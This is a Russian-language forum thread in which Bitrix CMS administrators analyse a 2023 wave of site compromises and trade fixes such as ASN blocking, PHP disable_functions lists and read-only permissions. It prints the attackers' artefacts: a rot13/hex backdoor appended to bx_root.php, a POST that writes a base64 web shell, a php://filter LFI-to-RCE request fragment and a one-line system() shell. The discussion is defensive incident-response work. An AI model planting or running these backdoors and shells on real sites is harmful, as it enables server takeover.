написал: На наши серверы стали постить не на главную страницу, а на /bitrix/tools/spread.php. x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gex x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 " "Mozilla/5.0 (Windows NT x x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NTx m185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT
Предварительно заблочили весь ASN https://asn.ipinfo.app/AS210644 провайдера aeza, заметили что оттуда оосновная масса вредоносных запросов поступает. Блокировали через правила в nginx (через include запрещающих правил типа https://asn.ipinfo.app/api/text/nginx/AS210644 ). Репорт на абуз серверов отправлен дня 4 назад, пров молчит как партизан.
Знаю, что костыль и что это не решение проблемы, но пока так..
Владислав Боднарь написал: и таких мест может быть миллионвыше был способ поиска по подстроке, похоже единственно реальный метод сейчас
да, похоже все последние закладки по str_rot13 находятся - хороший способ но тем не менее надо сначала фиксить дыры ... следующие закладки будут другие
Разбор того как работает взлом через POST к главной странице.
Используя ДРУГУЮ уязвимость поражают \bitrix\modules\main\bx_root.php дописывая в его конец это:
Код
<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>
Видимо по архитектуре Битрикса файл bx_root.php будет задействован при любом запросе. По крайне мере при запросе в корень точно. Далее, атакующий в любой удобный момент времени посылает POST запрос примерно следующего содержимого:
0=system&1=echo PD89N.....DA5NzI1lIl0pO319Pz4=|base64 -d| tee 5b186f810c33.php
parse_str заполнит 3 элемента массива $bx_stat, а потом будет вызвана функция с 2-мя аргументами $bx_stat[0]( $bx_stat[1], $bx_stat[2] ) и чаще всего это будет file_put_contents( virus_name, virus_body )
Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
Но это все следствия! Как и множество других "страшнозакодированных" скриптов и .htaccess'ов которые здесь постили. Причина, в моем случае точно, в другом. Вот с чего все начиналось:
Код
POST /products/index.php?ID=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.....
У Битрикса где-то внутри стоит что-то вроде include($_POST). Это и есть уязвимость LFI2RCE via PHP Filters! Весь этот запрос ( он у меня есть ) путем манипуляций кодировок превращается в следующий код:
Все полные логи и коды запросов имеются, могу выслать желающим
У меня в логах ничего похожего не видать, а результаты с htaccess'ами и рандомными файлами налицо. Версии файлов у меня от 2020 года. После накатывания бэкапа часа через два лезть всякое начинает. Но, может, плохо ищу. И CSISO2022KR тоже не вижу.
написал: Разбор того как работает взлом через POST к главной странице.
Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
Возможно будет полезно кому то, у меня история крайне похожа, сайт упал, модифицированный htaccess хтмл файлы, да еще и ограничить вход с 1 ip толком не получается, но у меня не с POSTом дело у меня это выглядит так
Возможно будет полезно кому то, у меня история крайне похожа, сайт упал, модифицированный htaccess хтмл файлы, да еще и ограничить вход с 1 ip толком не получается, но у меня не с POSTом дело у меня это выглядит так
Дык это нормальное содержимое bx_root.php, вот такой он в исходниках:
Тогда я уже не знаю куда смотреть, уже третий день валандаюсь с этой хренью, сегодня продлим лицензию и обновим платформу, но блин три дня. Сначала подняли сайт прошерстили антивирусом, сайт работает, но хтмл файлы все равно появляются, хотя и пустые, просто шарики за ролики уже вылетают. Если обновление платформы не поможет то уже не знаю что делать
vvv476, у Вас на исследуемом сайте стоят все актуальные обновления движка Битрикса?
запросы с CSISO2022KR возможно просто проверочные, так сказать скан по базе доменов на уязвимость если они есть в логах это ещё не значит, что они отработали и сайт уязвим ...
для проверки осталось только реализовать уязвимость и попробовать на своём сайте
сугубо по фактам - мне не попадалось ни одного зараженного сайта с установленными актуальными обновлениями, так что делайте выводы
написал: vvv476, у Вас на исследуемом сайте стоят все актуальные обновления движка Битрикса?
запросы с CSISO2022KR возможно просто проверочные, так сказать скан по базе доменов на уязвимость если они есть в логах это ещё не значит, что они отработали и сайт уязвим ...
для проверки осталось только реализовать уязвимость и попробовать на своём сайте
сугубо по фактам - мне не попадалось ни одного зараженного сайта с установленными актуальными обновлениями, так что делайте выводы
Это не проверочные запросы, поверьте. Код который он несет
Код
<?php system($_POST["a"]); ?>
позволяет делать что угодно. Факт его удачного исполнения подтвержден кодом 200 сервера. К сожалению я не перехватил что именно было в параметре POST "a" того запроса, но характер последующих действий показал что после него началась эксплуатация сервера через bx_root.php про которую я писал выше. Тем, у кого дрянь вылезает после двух часов от бэкапа. Читайте логи веб-сервера. Фильтруйте, анализируйте. Если не найдете сами, пришлите мне.
написал: disable_functions = evil,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source ... теперь собираю статистику что делают и куда ломятся ))
Более мене с не большими последствиями можно заблокировать вот эти disable_functions = shell_exec,exec,passthru,system,proc_open,curl_multi_exec,parse_ini_file,show_source
exec: catalog\export catalog\import
system: sale\location\import
proc_open: scale
show_source: fileman
очень много используется: eval curl_exec
Есть мысли как избавиться от использования eval в коде Bitrix что бы eval тоже можно заблокировать?
А вообще права на папки и файлы не должны позволять изменять и создавать папки и файлы пользователю под которым веб-сервер запущен т.е. этому пользователю нужны права только чтение. В корне сайта есть папка /upload/ только в этой папке можно этому пользователю файлы создавать, но не запускать.
xRayDev написал: А вообще права на папки и файлы не должны позволять изменять и создавать папки и файлы пользователю под которым веб-сервер запущен т.е. этому пользователю нужны права только чтение. В корне сайта есть папка /upload/ только в этой папке можно этому пользователю файлы создавать, но не запускать.
/bitrix/ можно только на чтение поставить, кроме этих директорий /bitrix/backup/ /bitrix/cache/ /bitrix/managed_cache/ /bitrix/stack_cache/ /bitrix/tmp/ - этот не знаю ну и естественно при обновлениях движка права нужно будет вернуть
vvv476 Код который он несет позволяет делать что угодно.
Согласен.
Цитата
vvv476 написал: Факт его удачного исполнения подтвержден кодом 200 сервера.
Не согласен. Код 200 говорит о том, что страница такая есть и POST туда улетел и не вернул ошибку, но это не значит, что он обработался. Я вам на главную могу кинуть POST любого содержания и вернётся 200 но ничего не произойдёт.
Чтобы удостовериться "поймайте" тело этого запроса ($_POST и $_GET) выше я писал как это можно сделать и в личку мне скиньте.
На моих сайтах и сайтах клиентов никакая зараза не пробивается, так что сильно сомневаюсь в пробивных свойствах этого эксплойта.
vvv476 Код который он несет позволяет делать что угодно.
Согласен.
Цитата
vvv476 написал: Факт его удачного исполнения подтвержден кодом 200 сервера.
Не согласен. Код 200 говорит о том, что страница такая есть и POST туда улетел и не вернул ошибку, но это не значит, что он обработался. Я вам на главную могу кинуть POST любого содержания и вернётся 200 но ничего не произойдёт.
Чтобы удостовериться "поймайте" тело этого запроса ($_POST и $_GET) выше я писал как это можно сделать и в личку мне скиньте, возможно придётся ещё подработать ловилку чтобы передаваемый файл сохранить.
На моих сайтах и сайтах клиентов никакая зараза не пробивается, так что сильно сомневаюсь в пробивных свойствах этого эксплойта.